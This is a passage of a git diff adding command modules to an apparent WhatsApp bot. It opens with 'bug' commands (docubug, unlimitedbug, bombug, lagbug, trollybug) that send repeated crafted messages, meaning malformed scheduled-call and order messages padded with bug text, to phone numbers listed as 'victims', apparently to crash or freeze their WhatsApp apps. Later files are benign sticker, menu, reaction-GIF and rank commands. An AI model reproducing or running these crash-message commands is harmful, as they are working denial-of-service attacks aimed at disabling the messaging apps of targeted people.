+ await relaybug(dest, zk, ms, repondre, amount, victims, bug);
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ amount = parseInt(text.split("|")[0].trim());
+ if (
+ amount > conf.BOOM_MESSAGE_LIMIT ||
+ isNaN(amount) ||
+ amount < 1
+ ) {
+ return await repondre(
+ `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
+ );
+ } else {
+ victims = text
+ .split("|")[1]
+ .split(",")
+ .map(x => x.trim())
+ .filter(x => x !== "");
+ if (victims.length > 0) {
+ await repondre(
+ `sending ${amount} bugs to ${victims.join(", ")}`
+ );
+ try {
+ await relaybug(
+ dest,
+ zk,
+ ms,
+ repondre,
+ amount,
+ victims,
+ bug
+ );
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ return await repondre("No victims specfied");
+ }
+ }
+ }
+ await react(dest, zk, ms, "✅");
+ }
+);
+
+//docubug
+adams(
+ {
+ nomCom: "docubug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser, prefixe } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+ if (!arg[0])
+ return await repondre(
+ `Use ${prefixe}docubug amount | numbers\n> Example ${prefixe}docubug 30 |${
+ conf.NUMERO_OWNER
+ } or ${prefixe}docubug ${conf.NUMERO_OWNER.split(",")[0]}`
+ );
+ await loading(dest, zk);
+ const text = arg.join("");
+ let amount = 15;
+ let victims = [];
+ const bug = {
+ scheduledCallCreationMessage: {
+ callType: "2",
+ scheduledTimestampMs: `${moment(1000)
+ .tz("Asia/Kolkata")
+ .format("DD/MM/YYYY HH:mm:ss")}`,
+ title: `${bugtext1}`
+ }
+ };
+ if (arg.length === 1) {
+ victims.push(arg[0]);
+ await repondre(`sending ${amount} bugs to ${victims[0]}`);
+ try {
+ await relaybug(dest, zk, ms, repondre, amount, victims, bug);
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ amount = parseInt(text.split("|")[0].trim());
+ if (
+ amount > conf.BOOM_MESSAGE_LIMIT ||
+ isNaN(amount) ||
+ amount < 1
+ ) {
+ return await repondre(
+ `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
+ );
+ } else {
+ victims = text
+ .split("|")[1]
+ .split(",")
+ .map(x => x.trim())
+ .filter(x => x !== "");
+ if (victims.length > 0) {
+ await repondre(
+ `sending ${amount} bugs to ${victims.join(", ")}`
+ );
+ try {
+ await relaybug(
+ dest,
+ zk,
+ ms,
+ repondre,
+ amount,
+ victims,
+ bug
+ );
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ return await repondre("No victims specfied");
+ }
+ }
+ }
+ await react(dest, zk, ms, "✅");
+ }
+);
+
+//unlimitedbug
+adams(
+ {
+ nomCom: "unlimitedbug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser, prefixe } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+ if (!arg[0])
+ return await repondre(
+ `Use ${prefixe}unlimitedbug amount | numbers\n> Example ${prefixe}unlimitedbug 30 |${
+ conf.NUMERO_OWNER
+ } or ${prefixe}unlimitedbug ${conf.NUMERO_OWNER.split(",")[0]}`
+ );
+ await loading(dest, zk);
+ const text = arg.join("");
+ let amount = 30;
+ let victims = [];
+ const bug = {
+ scheduledCallCreationMessage: {
+ callType: "2",
+ scheduledTimestampMs: `${moment(1000)
+ .tz("Asia/Kolkata")
+ .format("DD/MM/YYYY HH:mm:ss")}`,
+ title: bugtext3
+ }
+ };
+ if (arg.length === 1) {
+ victims.push(arg[0]);
+ await repondre(`sending ${amount} bugs to ${victims[0]}`);
+ try {
+ await relaybug(dest, zk, ms, repondre, amount, victims, bug);
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ amount = parseInt(text.split("|")[0].trim());
+ if (
+ amount > conf.BOOM_MESSAGE_LIMIT ||
+ isNaN(amount) ||
+ amount < 1
+ ) {
+ return await repondre(
+ `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
+ );
+ } else {
+ victims = text
+ .split("|")[1]
+ .split(",")
+ .map(x => x.trim())
+ .filter(x => x !== "");
+ if (victims.length > 0) {
+ await repondre(
+ `sending ${amount} bugs to ${victims.join(", ")}`
+ );
+ try {
+ await relaybug(
+ dest,
+ zk,
+ ms,
+ repondre,
+ amount,
+ victims,
+ bug
+ );
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ return await repondre("No victims specfied");
+ }
+ }
+ }
+ await react(dest, zk, ms, "✅");
+ }
+);
+
+//bombug
+adams(
+ {
+ nomCom: "bombug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser, prefixe } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+ if (!arg[0])
+ return await repondre(
+ `Use ${prefixe}bombug amount | numbers\n> Example ${prefixe}bombug 30 |${
+ conf.NUMERO_OWNER
+ } or ${prefixe}bombug ${conf.NUMERO_OWNER.split(",")[0]}`
+ );
+ await loading(dest, zk);
+ const text = arg.join("");
+ let amount = 30;
+ let victims = [];
+ const bug = {
+ scheduledCallCreationMessage: {
+ callType: "2",
+ scheduledTimestampMs: `${moment(1000)
+ .tz("Asia/Kolkata")
+ .format("DD/MM/YYYY HH:mm:ss")}`,
+ title: bugtext4
+ }
+ };
+ if (arg.length === 1) {
+ victims.push(arg[0]);
+ await repondre(`sending ${amount} bugs to ${victims[0]}`);
+ try {
+ await relaybug(dest, zk, ms, repondre, amount, victims, bug);
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ amount = parseInt(text.split("|")[0].trim());
+ if (
+ amount > conf.BOOM_MESSAGE_LIMIT ||
+ isNaN(amount) ||
+ amount < 1
+ ) {
+ return await repondre(
+ `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
+ );
+ } else {
+ victims = text
+ .split("|")[1]
+ .split(",")
+ .map(x => x.trim())
+ .filter(x => x !== "");
+ if (victims.length > 0) {
+ await repondre(
+ `sending ${amount} bugs to ${victims.join(", ")}`
+ );
+ try {
+ await relaybug(
+ dest,
+ zk,
+ ms,
+ repondre,
+ amount,
+ victims,
+ bug
+ );
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ return await repondre("No victims specfied");
+ }
+ }
+ }
+ await react(dest, zk, ms, "✅");
+ }
+);
+
+//lagbug
+adams(
+ {
+ nomCom: "lagbug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser, prefixe } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+ if (!arg[0])
+ return await repondre(
+ `Use ${prefixe}lagbug amount | numbers\n> Example ${prefixe}lagbug 30 |${
+ conf.NUMERO_OWNER
+ } or ${prefixe}lagbug ${conf.NUMERO_OWNER.split(",")[0]}`
+ );
+ await loading(dest, zk);
+ const text = arg.join("");
+ let amount = 30;
+ let victims = [];
+ const bug = {
+ scheduledCallCreationMessage: {
+ callType: "2",
+ scheduledTimestampMs: `${moment(1000)
+ .tz("Asia/Kolkata")
+ .format("DD/MM/YYYY HH:mm:ss")}`,
+ title: bugtext2
+ }
+ };
+ if (arg.length === 1) {
+ victims.push(arg[0]);
+ await repondre(`sending ${amount} bugs to ${victims[0]}`);
+ try {
+ await relaybug(dest, zk, ms, repondre, amount, victims, bug);
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ amount = parseInt(text.split("|")[0].trim());
+ if (
+ amount > conf.BOOM_MESSAGE_LIMIT ||
+ isNaN(amount) ||
+ amount < 1
+ ) {
+ return await repondre(
+ `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
+ );
+ } else {
+ victims = text
+ .split("|")[1]
+ .split(",")
+ .map(x => x.trim())
+ .filter(x => x !== "");
+ if (victims.length > 0) {
+ await repondre(
+ `sending ${amount} bugs to ${victims.join(", ")}`
+ );
+ try {
+ await relaybug(
+ dest,
+ zk,
+ ms,
+ repondre,
+ amount,
+ victims,
+ bug
+ );
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ return await repondre("No victims specfied");
+ }
+ }
+ }
+ await react(dest, zk, ms, "✅");
+ }
+);
+
+//trollybug
+adams(
+ {
+ nomCom: "trollybug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser, prefixe } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+ if (!arg[0])
+ return await repondre(
+ `Use ${prefixe}trollybug amount | numbers\n> Example ${prefixe}trollybug 30 |${
+ conf.NUMERO_OWNER
+ } or ${prefixe}trollybug ${conf.NUMERO_OWNER.split(",")[0]}`
+ );
+ await loading(dest, zk);
+ const text = arg.join("");
+ let amount = 15;
+ let victims = [];
+ const bug = {
+ orderMessage: {
+ orderId: "599519108102353",
+ thumbnail: fs.readFileSync(
+ path.resolve(
+ path.join(
+ __dirname,
+ "..",
+ "media",
+ "deleted-message.jpg"
+ )
+ )
+ ),
+ itemCount: 1999,
+ status: "INQUIRY",
+ surface: "CATALOG",
+ message: `${conf.BOT}`,
+ orderTitle: " TROLLY BUG ",
+ sellerJid: "263785028126@s.whatsapp.net",
+ token: "AR6z9PAvHjs9Qa7AYgBUjSEvcnOcRWycFpwieIhaMKdrhQ=="
+ }
+ };
+ if (arg.length === 1) {
+ victims.push(arg[0]);
+ await repondre(`sending ${amount} bugs to ${victims[0]}`);
+ try {
+ await relaybug(dest, zk, ms, repondre, amount, victims, bug);
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ amount = parseInt(text.split("|")[0].trim());
+ if (
+ amount > conf.BOOM_MESSAGE_LIMIT ||
+ isNaN(amount) ||
+ amount < 1
+ ) {
+ return await repondre(
+ `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
+ );
+ } else {
+ victims = text
+ .split("|")[1]
+ .split(",")
+ .map(x => x.trim())
+ .filter(x => x !== "");
+ if (victims.length > 0) {
+ await repondre(
+ `sending ${amount} bugs to ${victims.join(", ")}`
+ );
+ try {
+ await relaybug(
+ dest,
+ zk,
+ ms,
+ repondre,
+ amount,
+ victims,
+ bug
+ );
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ return await repondre("No victims specfied");
+ }
+ }
+ }
+ await react(dest, zk, ms, "✅");
+ }
+);
diff --git a/scs/bmwv.js b/scs/bmwv.js
new file mode 100644
index 0000000..0b6d337
--- /dev/null
+++ b/scs/bmwv.js
@@ -0,0 +1,88 @@
+const {adams }= require ('../Ibrahim/adams') ;
+const {addstickcmd, deleteCmd, getCmdById, inStickCmd , getAllStickCmds} = require('../lib/stickcmd') ;
+
+
+
+adams(
+ {
+ nomCom : 'setcmd',
+ categorie : 'stickcmd'
+
+ }, async (dest,zk,commandeOptions) => {
+
+ const {ms , arg, repondre,superUser , msgRepondu} = commandeOptions;
+
+ if (!superUser) { repondre('you can\'t use this command') ; return} ;
+
+ if(msgRepondu && msgRepondu.stickerMessage ) {
+
+ if(!arg || !arg[0]) { repondre('put the name of the command') ; return} ;
+
+
+ await addstickcmd(arg[0].toLowerCase() , msgRepondu.stickerMessage.url ) ;
+
+ repondre('Stick cmd save successfully')
+
+ } else {
+
+ repondre('mention a sticker')
+ }
+
+ }) ;
+
+ adams(
+ {
+ nomCom: 'delcmd',
+ categorie: 'stickcmd'
+ },
+ async (dest, zk, commandeOptions) => {
+
+ const { ms, arg, repondre, superUser } = commandeOptions;
+
+ if (!superUser) {
+ repondre('only Mods can use this command');
+ return;
+ }
+
+ if (!arg || !arg[0]) {
+ repondre('put the name of the command that you want to delete');
+ return;
+ }
+
+ const cmdToDelete = arg[0];
+
+
+ try {
+ await deleteCmd(cmdToDelete.toLowerCase());
+ repondre(`the commande ${cmdToDelete} is deleted successfully.`);
+ } catch {
+ repondre(`the command ${cmdToDelete} don't existe`);
+ }
+ }
+ );
+
+
+ adams(
+ {
+ nomCom: 'allcmd',
+ categorie: 'stickcmd'
+ },
+ async (dest, zk, commandeOptions) => {
+ const { repondre, superUser } = commandeOptions;
+
+ if (!superUser) {
+ repondre('only Mods can use this command');
+ return;
+ }
+
+ const allCmds = await getAllStickCmds();
+
+ if (allCmds.length > 0) {
+ const cmdList = allCmds.map(cmd => cmd.cmd).join(', ');
+ repondre(`*List of all stickcmd :*
+ ${cmdList}`);
+ } else {
+ repondre('No stickcmd save');
+ }
+ }
+);
diff --git a/scs/bmww.js b/scs/bmww.js
new file mode 100644
index 0000000..2a2ca78
--- /dev/null
+++ b/scs/bmww.js
@@ -0,0 +1,173 @@
+
+const util = require('util');
+const fs = require('fs-extra');
+const { adams } = require(__dirname + "/../Ibrahim/adams");
+const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
+const os = require("os");
+const moment = require("moment-timezone");
+const s = require(__dirname + "/../config");
+const more = String.fromCharCode(8206)
+const readmore = more.repeat(4001)
+
+adams({ nomCom: "scan", categorie: "General" }, async (dest, zk, commandeOptions) => {
+ let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
+ let { cm } = require(__dirname + "/../Ibrahim//adams");
+ var coms = {};
+ var mode = "public";
+
+ if ((s.MODE).toLocaleLowerCase() != "yes") {
+ mode = "private";
+ }
+
+
+
+
+ cm.map(async (com, index) => {
+ if (!coms[com.categorie])
+ coms[com.categorie] = [];
+ coms[com.categorie].push(com.nomCom);
+ });
+
+ moment.tz.setDefault('Etc/GMT');
+
+// Créer une date et une heure en GMT
+const temps = moment().format('HH:mm:ss');
+const date = moment().format('DD/MM/YYYY');
+
+ let infoMsg = `
+ *Tap on the link to get session*
+
+ https://ibrahim-adams.vercel.app
+
+
+ *STEPS TO GET SESSION*
+
+ 1. Open link
+ 2. Enter your whatsapp number with your country code eg : 254,255. And tap submit
+ 3. Ibrahim tech will sent you a code. Copy that code. Then whatsapp will sent Notification
+ 4. Tap on that notification then enter in the code that Ibrahim tech sent you.
+ 5. It will load for sometime then Ibrahim tech will sent A long session to your inbox on whatsapp at your own number
+ 6. Copy that long session and sent it to your deployer.
+
+ 🚘🚘🚘
+ `;
+
+let menuMsg = `
+> Made by : ©Ibrahim Adams
+`;
+
+ var lien = mybotpic();
+
+ if (lien.match(/\.(mp4|gif)$/i)) {
+ try {
+ zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+// Vérification pour .jpeg ou .png
+else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
+ try {
+ zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+else {
+
+ repondre(infoMsg + menuMsg);
+
+}
+
+});
+
+
+/*const util = require('util');
+const fs = require('fs-extra');
+const { zokou } = require(__dirname + "/../framework/zokou");
+const { format } = require(__dirname + "/../framework/mesfonctions");
+const os = require("os");
+const moment = require("moment-timezone");
+const s = require(__dirname + "/../set");
+const more = String.fromCharCode(8206)
+const readmore = more.repeat(4001)
+
+zokou({ nomCom: "script", categorie: "General" }, async (dest, zk, commandeOptions) => {
+ let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
+ let { cm } = require(__dirname + "/../framework//zokou");
+ var coms = {};
+ var mode = "public";
+
+ if ((s.MODE).toLocaleLowerCase() != "yes") {
+ mode = "private";
+ }
+
+
+
+
+ cm.map(async (com, index) => {
+ if (!coms[com.categorie])
+ coms[com.categorie] = [];
+ coms[com.categorie].push(com.nomCom);
+ });
+
+ moment.tz.setDefault('Etc/GMT');
+
+// Créer une date et une heure en GMT
+const temps = moment().format('HH:mm:ss');
+const date = moment().format('DD/MM/YYYY');
+
+ let infoMsg = `
+ *BMW MD IMPORTANT INFO*
+❒───────────────────❒
+*GITHUB LINK*
+> https://github.com/ibrahimaitech/BMW-MD
+
+*WHATSAPP CHANNEL*
+> https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y
+
+*FOR MORE INFO TAP ON THE LINK BELOW*
+> https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO
+╭───────────────────❒
+│❒ *RAM* : ${format(os.totalmem() - os.freemem())}/${format(os.totalmem())}
+│❒ *DEV* : *Ibrahim Adams*
+╰───────────────────❒
+ `;
+
+let menuMsg = `
+ 𝑰𝑩𝑹𝑨𝑯𝑰𝑴 𝑨𝑫𝑨𝑴𝑺 𝑺𝑪𝑰𝑬𝑵𝑪𝑬
+
+❒────────────────────❒`;
+
+ var lien = mybotpic();
+
+ if (lien.match(/\.(mp4|gif)$/i)) {
+ try {
+ zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" , gifPlayback : true }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+// Vérification pour .jpeg ou .png
+else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
+ try {
+ zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+else {
+
+ repondre(infoMsg + menuMsg);
+
+}
+
+});*/
diff --git a/scs/bmwx.js b/scs/bmwx.js
new file mode 100644
index 0000000..19b97f9
--- /dev/null
+++ b/scs/bmwx.js
@@ -0,0 +1,103 @@
+const axios = require('axios');
+const { adams } = require("../Ibrahim/adams");
+const fs = require("fs-extra");
+const { exec } = require("child_process");
+const child_process = require('child_process');
+const {unlink } = require ('fs').promises ;
+
+
+// fonction sleep
+
+const sleep = (ms) =>{
+ return new Promise((resolve) =>{ setTimeout (resolve, ms)})
+
+ }
+
+// Fonction pour la conversion de GIF en vidéo et récupération du buffer vidéo
+const GIFBufferToVideoBuffer = async (image) => {
+ const filename = `${Math.random().toString(36)}`;
+ await fs.writeFileSync(`./${filename}.gif`, image);
+ child_process.exec(
+ `ffmpeg -i ./${filename}.gif -movflags faststart -pix_fmt yuv420p -vf "scale=trunc(iw/2)*2:trunc(ih/2)*2" ./${filename}.mp4`
+ );
+ await sleep(4000);
+
+ var buffer5 = await fs.readFileSync(`./${filename}.mp4`);
+ Promise.all([unlink(`./${filename}.mp4`), unlink(`./${filename}.gif`)]);
+ return buffer5;
+};
+
+const generateReactionCommand = (reactionName, reactionEmoji) => {
+ adams({
+ nomCom: reactionName,
+ categorie: "Reaction",
+ reaction: reactionEmoji,
+ },
+ async (origineMessage, zk, commandeOptions) => {
+ const { auteurMessage, auteurMsgRepondu, repondre, ms, msgRepondu } = commandeOptions;
+
+ const url = `https://api.waifu.pics/sfw/${reactionName}`;
+ try {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ // Obtenir le buffer du GIF en utilisant la fonction getBuffer
+ const gifBufferResponse = await axios.get(imageUrl, {
+ responseType: 'arraybuffer' }) ;
+ const gifBuffer = await gifBufferResponse.data;
+
+ // Convertir le GIF en vidéo et obtenir le buffer vidéo
+ const videoBuffer = await GIFBufferToVideoBuffer(gifBuffer);
+
+ // Envoyer la vidéo avec Zokou
+ if (msgRepondu) {
+ var txt =` @${auteurMessage.split("@")[0]} ${reactionName} @${auteurMsgRepondu.split("@")[0]}`
+ zk.sendMessage(origineMessage, { video: videoBuffer,gifPlayback: true,caption:txt,mentions:[auteurMessage,auteurMsgRepondu] }, { quoted: ms });
+
+ } else {
+ const videoMessage = {
+ video: videoBuffer,
+ gifPlayback: true,
+ caption: `@${auteurMessage.split("@")[0]} ${reactionName} everyone`,
+ mentions: [auteurMessage]
+ };
+ zk.sendMessage(origineMessage, videoMessage, { quoted: ms });
+ }
+
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :' + error);
+ console.log(error);
+ }
+ });
+};
+
+// ... (utilisation de la fonction generateReactionCommand pour créer des commandes de réaction)
+
+
+generateReactionCommand("bully", "👊");
+generateReactionCommand("cuddle", "🤗");
+generateReactionCommand("cry", "😢");
+generateReactionCommand("hug", "😊");
+generateReactionCommand("awoo", "🐺");
+generateReactionCommand("kiss", "😘");
+generateReactionCommand("lick", "👅");
+generateReactionCommand("pat", "👋");
+generateReactionCommand("smug", "😏");
+generateReactionCommand("bonk", "🔨");
+generateReactionCommand("yeet", "🚀");
+generateReactionCommand("blush", "😊");
+generateReactionCommand("smile", "😄");
+generateReactionCommand("wave", "👋");
+generateReactionCommand("highfive");
+generateReactionCommand("handhold");
+generateReactionCommand("nom","👅" );
+generateReactionCommand("bite", "🦷");
+generateReactionCommand("glomp", "🤗");
+generateReactionCommand("slap", "👋");
+generateReactionCommand("kill", "💀");
+generateReactionCommand("kick", "🦵");
+generateReactionCommand("happy", "😄");
+generateReactionCommand("wink", "😉");
+generateReactionCommand("poke", "👉");
+generateReactionCommand("dance", "💃");
+generateReactionCommand("cringe", "😬");
diff --git a/scs/bmwy.js b/scs/bmwy.js
new file mode 100644
index 0000000..d4f541c
--- /dev/null
+++ b/scs/bmwy.js
@@ -0,0 +1,309 @@
+const {adams} = require("../Ibrahim/adams");
+const {getMessagesAndXPByJID,getBottom10Users} = require("../lib/level");
+
+
+function get_level_exp(xp) {
+ const levelThresholds = [
+ { level: 1, xpThreshold: 500 },
+ { level: 2, xpThreshold: 1000 },
+ { level: 3, xpThreshold: 2000 },
+ { level: 4, xpThreshold: 4000 },
+ { level: 5, xpThreshold: 7000 },
+ { level: 6, xpThreshold: 10000 },
+ { level: 7, xpThreshold: 15000 },
+ { level: 8, xpThreshold: 20000},
+ { level: 9, xpThreshold: 25000},
+ { level: 10, xpThreshold: 30000},
+ { level: 11, xpThreshold: 35000},
+ { level: 12, xpThreshold: 45000},
+ { level: 13, xpThreshold: 55000},
+ { level: 14, xpThreshold: 65000},
+ { level: 15, xpThreshold: 75000},
+ { level: 16, xpThreshold: 90000},
+ { level: 17, xpThreshold: 105000},
+ { level: 18, xpThreshold: 120000},
+ { level: 19, xpThreshold: 135000},
+ { level: 20, xpThreshold: 150000},
+ { level: 21, xpThreshold: 170000},
+ { level: 22, xpThreshold: 190000},
+ { level: 23, xpThreshold: 210000},
+ { level: 24, xpThreshold: 230000},
+ { level: 25, xpThreshold: 255000},
+ { level: 26, xpThreshold: 270000},
+ { level: 27, xpThreshold: 295000},
+ { level: 28, xpThreshold: 320000},
+ { level: 29, xpThreshold: 345000},
+ { level: 30, xpThreshold: 385000},
+ { level: 31, xpThreshold: 425000},
+ { level: 32, xpThreshold: 465000},
+ { level: 33, xpThreshold: 505000},
+ { level: 34, xpThreshold: 545000},
+ { level: 35, xpThreshold: 590000},
+ { level: 36, xpThreshold: 635000},
+ { level: 37, xpThreshold: 680000},
+ { level: 38, xpThreshold: 725000},
+ { level: 39, xpThreshold: 770000},
+ { level: 40, xpThreshold: 820000},
+ { level: 41, xpThreshold: 870000},
+ { level: 42, xpThreshold: 920000},
+ { level: 43, xpThreshold: 970000},
+ { level: 44, xpThreshold: 1020000},
+ { level: 45, xpThreshold: 1075000},
+ { level: 46, xpThreshold: 1130000},
+ { level: 47, xpThreshold: 1185000},
+ { level: 48, xpThreshold: 1240000},
+ { level: 49, xpThreshold: 1295000},
+ { level: 'Zk-GOD', xpThreshold: 2000000}
+ ];
+
+ let level = 0;
+ let exp = xp;
+ let xplimit = levelThresholds[level].xpThreshold;
+
+ for (let i = 0; i < levelThresholds.length; i++) {
+ if (xp >= levelThresholds[i].xpThreshold) {
+ level = levelThresholds[i].level;
+ xplimit = levelThresholds[i + 1]?.xpThreshold || 'No-limit';
+ exp = xp - levelThresholds[i].xpThreshold;
+ } else {
+ break;
+ }
+ }
+
+ return {
+ level: level,
+ xplimit: xplimit,
+ exp: exp
+ };
+}
+
+module.exports = {
+ get_level_exp,
+} ;
+
+adams( {
+ nomCom : "rank",
+ categorie : "Fun",
+ },
+ async(dest,zk, commandeOptions)=> {
+
+ const {ms , repondre,auteurMessage,nomAuteurMessage, msgRepondu , auteurMsgRepondu , mybotpic} = commandeOptions ;
+
+ if (msgRepondu) {
+
+ try {
+
+ let rank = await getMessagesAndXPByJID(auteurMsgRepondu) ;
+
+ const data = await get_level_exp(rank.xp)
+ let ppuser ;
+
+
+ try {
+ ppuser = await zk.profilePictureUrl(auteurMsgRepondu , 'image') ;
+ } catch {
+ ppuser = mybotpic()
+ } ;
+
+
+ let role ;
+
+ if (data.level < 5) {
+ role = 'baby'
+ } else if (data.level >= 5 && data.level < 10) {
+ role = 'kid-Ninja'
+ } else if ( data.level >= 10 && data.level < 15 ) {
+ role = 'Ninja-genin'
+ } else if ( data.level >= 15 && data.level < 20 ) {
+ role = 'Ninja-chunin'
+ } else if ( data.level >= 20 && data.level < 25 ) {
+ role = 'Ninja-jonin'
+ } else if ( data.level >= 25 && data.level < 30 ) {
+ role = 'ANBU'
+ } else if ( data.level >= 30 && data.level < 35 ) {
+ role = 'strong ninja'
+ } else if ( data.level >= 35 && data.level < 40 ) {
+ role = 'kage'
+ } else if ( data.level >= 40 && data.level < 45 ) {
+ role = 'Hermit seinin'
+ } else if ( data.level >= 45 && data.level < 50 ) {
+ role = 'Otsusuki'
+ } else {
+ role = 'GOD'
+ }
+
+
+ let msg = `
+┏━━━┛ Bmw-Rang ┗━━━┓
+
+ *Name :* @${auteurMsgRepondu.split("@")[0]}
+
+ *Level :* ${data.level}
+
+ *EXP :* ${data.exp}/${data.xplimit}
+
+ *Role :* ${role}
+
+ *Messages :* ${rank.messages}
+
+ ┕━✿━┑ ┍━✿━┙`
+
+ zk.sendMessage(
+ dest,
+ {
+ image : {url : ppuser},
+ caption : msg,
+ mentions : [auteurMsgRepondu]
+ },
+ {quoted : ms}
+ )
+
+
+ } catch (error) {
+ repondre(error)
+ }
+ } else {
+
+
+ try {
+
+ let jid = auteurMessage ;
+
+ let rang = await getMessagesAndXPByJID(jid) ;
+
+ const data = get_level_exp(rang.xp)
+ let ppuser ;
+
+
+ try {
+ ppuser = await zk.profilePictureUrl(jid, 'image') ;
+ } catch {
+ ppuser = mybotpic()
+ } ;
+
+
+ let role ;
+
+ if (data.level < 5) {
+ role = 'Nouveau né(e)'
+ } else if (data.level >= 5 && data.level < 10) {
+ role = 'kid-Ninja'
+ } else if ( data.level >= 10 && data.level < 15 ) {
+ role = 'Ninja-genin'
+ } else if ( data.level >= 15 && data.level < 20 ) {
+ role = 'Ninja-chunin'
+ } else if ( data.level >= 20 && data.level < 25 ) {
+ role = 'Ninja-jonin'
+ } else if ( data.level >= 25 && data.level < 30 ) {
+ role = 'ANBU'
+ } else if ( data.level >= 30 && data.level < 35 ) {
+ role = 'strong ninja'
+ } else if ( data.level >= 35 && data.level < 40 ) {
+ role = 'kage'
+ } else if ( data.level >= 40 && data.level < 45 ) {
+ role = 'Hermit seinin'
+ } else if ( data.level >= 45 && data.level < 50 ) {
+ role = 'Otsusuki'
+ } else {
+ role = 'level-GOD'
+ }
+
+
+ let msg = `
+┏━━━┛ bmw rank┗━━━┓
+
+ *Name :* ${nomAuteurMessage}
+
+ *Level :* ${data.level}
+
+ *EXP :* ${data.exp}/${data.xplimit}
+
+ *Role :* ${role}
+
+ *Messages :* ${rang.messages}
+
+ ┕━✿━┑ ┍━✿━┙`
+
+ zk.sendMessage(
+ dest,
+ {
+ image : {url : ppuser},
+ caption : msg
+ },
+ {quoted : ms}
+ )
+
+ } catch (error) {
+ repondre(error)
+ }
+
+ }
+
+
+}) ;
+
+adams( {
+ nomCom : "toprank",
+ categorie : "Fun",
+ },
+ async(dest,zk, commandeOptions)=> {
+
+ const {ms , mybotpic} = commandeOptions ;
+
+
+ let msg = `┏━━┛ beltah-top-rang ┗━━┓\n\n`
+
+ let topRanks = await getBottom10Users() ;
+ let mention = [] ;
+ for (const rank of topRanks ) {
+
+ const data = await get_level_exp(rank.xp) ;
+
+ let role ;
+
+ if (data.level < 5) {
+ role = 'Nouveau né(e)'
+ } else if (data.level >= 5 && data.level < 10) {
+ role = 'kid ninja'
+ } else if ( data.level >= 10 && data.level < 15 ) {
+ role = 'Ninja-genin'
+ } else if ( data.level >= 15 && data.level < 20 ) {
+ role = 'Ninja-chunin'
